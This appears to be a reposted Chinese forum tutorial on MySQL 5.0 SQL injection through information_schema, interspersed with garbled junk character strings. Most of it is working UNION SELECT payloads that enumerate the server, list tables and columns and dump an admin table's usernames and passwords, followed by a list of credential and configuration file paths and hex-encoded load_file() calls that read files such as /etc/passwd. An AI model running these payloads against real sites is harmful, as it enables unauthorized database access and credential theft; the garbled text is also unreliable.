mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


& S; c$ [8 t1 E6 ^# n
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
7 V1 {; E0 W$ v8 I% [0 E存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
* G; S2 v/ `# L) B# W& t4 Q; S2 R|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
2 m1 B' y# @/ P* a|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
' G+ c6 G  k+ N( S/ ?' u|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
- V1 t8 b6 V. Z+ P- U( L
: j" l5 q0 Q$ E- \, v. ]+ h0 M|—字段：COLUMN_NAME ->该字段的名称
3 J9 o6 A: T4 J3 a
7 M: S8 F5 T/ Z5 d#########################################################################
0 b, B" _5 o2 W/ E& ^##

& H( f9 r6 i7 v: ^5 i" D' a0×001 获取系统信息:

union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
' @9 b8 o. j% J$ n/ O9 s/ G8 @(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
* K3 D" E% T! N
  H8 ^2 L  j! |/*
3 z, L, H8 p, r& p) c& d
@@global.version_compile_os 获取系统版本
" ]4 V4 G, n/ f6 V
@@datadir 数据库路径
database() 当前数据库名称
& h* w0 F# E+ C% `& T9 u0x3c62723e 换行HEX值
- H; N, u1 E+ G* i( S" n
*/

######################################################################

0×002 获取表名

2 N+ C& i: j: S9 u) g9 x1 ^union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
( c+ T6 H5 v" t2 ^' Oinformation_schema.tables where table_schema=0x67617264656e /*

/*
: X+ u; V7 g1 ]6 T! j
0x67617264656e 为当前数据库名

9 y8 O9 p$ {9 U& }4 \) cgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
0 }' @0 B  H1 I
# M. V  k9 N, W  ~5 }5 f######################################################################
  ]6 [% O8 r) B  b9 n0 X9 t$ c
% s5 {5 e9 v0 J) l& }0×003 获取字段

, @5 B, z+ I$ Y% v) ^/ iunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and
  _' \5 |. D9 S  x5 |
- X5 w6 U5 ?( |
table_schema=0x67617264656e limit 1 /*
( ?4 S( i0 S3 Z$ [, [5 x$ a7 O  W
: H9 [/ H7 [* d1 T' S7 v8 C: A/*
+ k$ I9 b+ j1 e- h; ^( e) u+ t' W  B
% @/ w' q! n0 [: G% D6 agroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
' x3 P. u$ U1 ]8 m/ Z
0x67617264656e ->数据库名

, L* X' U' |' L5 i' t4 T*/
! o/ `3 [0 c1 t" p) J
#####################################################################

( _1 b/ o% Y$ }4 G( H3 {4 ~0×004 获取数据

9 ]. w' n6 C8 z/ c- E6 J! X# y4 eunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
, o6 [) L  s) I$ F& H9 I
- Q1 Q% K' _, a5 S8 t7 n- Yunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
- r3 W! H1 y5 T
. a# \5 M/ D0 m" U& E# s# F: e1 G/*
( z$ S* o$ k1 [8 Z, b
0x3c62723e 换行符号HEX编码

. y1 n1 n+ W" R# Dgroup_concat 同时获得该字段所有数据

*/
. a: \% h7 x- }9 ~

- O: I- |: u. p" l- [


/ A7 L; M% r" Q. ^  y6 ~顺便添加一些mysql注入时非常有用的一些东西
! o- E3 R% H5 g: [+ |3 w5 k& S
* h4 V0 F  d0 t* G简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

2 F! G6 D* M6 }+ W( {0 V0 J1:system_user() 系统用户名
2:user()        用户名
( O9 n/ r9 \. K# y3 c1 V3:current_user()  当前用户名
4:session_user()连接数据库的用户名
- W& q$ v. e0 x( e5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
4 ~$ a0 Y1 x# c8 }1 {9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
/ D8 |% E  `7 |3 R- T收集的一些路径：
WINDOWS下:
4 Y# [) l3 A3 |6 v" ]/ Sc:/boot.ini          //查看系统版本
! w- }2 J. `1 K8 G; yc:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
7 ^' `6 k" b# G$ [) Z) Ec:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
1 d4 P3 E7 O0 U" ]4 N  pc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
! l/ a' n! j9 d/ Y+ P. }% Cc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
6 q* n/ v  F  y0 |2 i* Ac:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
* }; ~9 X7 [+ w- E9 b; pc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
: e9 \" {, j& Pc:\Program Files\RhinoSoft.com\ServUDaemon.exe
: E' s  T9 t) W$ EC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
" j7 D, N) `1 k& v7 z//存储了pcAnywhere的登陆密码
; V2 X" E4 `2 c" y/ ^; Vc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
0 o7 G8 Y( A# C, n4 }% Hc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
% H- _# J5 I, n+ h: }5 c

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
- n8 y2 j* X- I) ?) y# O/ i6 zc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
" a$ C4 T3 Q5 \' `C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

7 p2 R1 i2 u- M+ X3 r- }( pLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
7 D; V& h' h/ l2 H5 X, \) y/usr/local/apache2/conf/httpd.conf
, _; u' F- a" C& w9 }0 i. T" a/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
: E4 i. ^/ O' R& P3 @8 E/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
2 |8 s& d7 L  o! n" s  t1 p5 T/etc/httpd/conf/httpd.conf // apache配置文件
% q5 T3 r# \: l+ H8 _3 W5 Y. X7 {/ s/etc/rsyncd.conf //同步程序配置文件
/ _  g! |: V- `2 S/etc/my.cnf //mysql的配置文件
6 j& y7 C7 ]# ?1 V# L0 R/etc/redhat-release //系统版本
$ Z8 C" P( M1 P4 _9 a9 ^0 l/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
# j0 k: x* Z: \$ d; k! i) U/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
- i6 X% [( b; l! N1 |8 _, ~+ {/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
5 l7 A% ]! A* Q* }, h: L/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
9 X3 j+ z0 a: F9 K3 B; i/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
4 U  `) c2 B2 }. l/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
, V: J* {& g- @( _/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
3 B2 J  d; N: @" N( ~! g, i( S* freplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
4 [- z+ Y  e( F" k1 f" M! S( Sreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
* h0 h! l2 a% i/ x0 G; g% X0 i8 y& j
/ `( K+ a7 R, t/ o* [0 O7 z